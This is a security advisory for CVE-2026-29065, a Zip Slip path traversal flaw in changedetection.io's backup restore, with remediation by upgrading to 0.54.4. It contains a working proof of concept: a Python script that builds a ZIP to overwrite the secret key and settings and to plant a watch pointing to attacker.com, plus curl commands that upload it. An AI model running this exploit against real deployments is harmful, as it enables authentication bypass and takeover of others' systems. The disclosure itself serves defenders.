---
id: CVE-2026-29065
aliases:
  - GHSA-25g8-2mcf-fcx9
  - PYSEC-2026-2129
title: >-
  changedetection.io has Zip Slip vulnerability in the backup restore
  functionality
summary: >-
  changedetection.io has Zip Slip vulnerability in the backup restore
  functionality
severity: high
vendor: changedetection-io
product: changedetection-io
ecosystem: pip
affected:
  - changedetection-io < 0.54.4
patched:
  - changedetection-io 0.54.4
published: '2026-03-04'
updated: '2026-07-13'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-25g8-2mcf-fcx9'
references:
  - url: >-
      https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-29065'
  - url: >-
      https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa
  - url: 'https://github.com/dgtlmoon/changedetection.io'
  - url: 'https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4'
tags:
  - osv
  - pip
epss: 0.00527
epssPercentile: 0.43603
ingestedAt: '2026-07-13T18:57:51.141Z'
---

## Overview

### Summary
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

### Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):
```
def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)
```
The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

| Path in ZIP | Target File | Impact |
| --- | --- | --- |
| ../secret.txt | Flask secret key | Session forgery, auth bypass |
| ../changedetection.json | App settings | Disable password, inject backdoor |
| ../url-watches.json | Watch index | Inject malicious watches |
| ../{uuid}/watch.json | Watch config | Modify any watch |

Attacker uploads ZIP via the backup restore functionality at /backups/restore
Application extracts files without validation, writing attacker content to sensitive locations


### PoC

Step 1: Create Malicious ZIP
```
import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    
    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))
    
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))
```
Step 2: Upload via Restore Endpoint

```curl -X POST "http://target:5000/backups/restore/start" \
  -F "zip_file=@zipslip.zip" \
  -F "include_watches=y" \
  -F "include_settings=y" 
  ```

###Step 3: Verify Path Traversal
### Check if watch escaped to /datastore/
###ls -la /datastore/
### Look for: pwned-uuid-1234/

### Verify in UI
```curl "http://target:5000/" | grep "ZIPSLIP"```


<img width="1920" height="1080" alt="f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM" src="https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38" />

## Affected packages

- `changedetection-io < 0.54.4`

## Remediation

Upgrade to a patched release:

- `changedetection-io 0.54.4`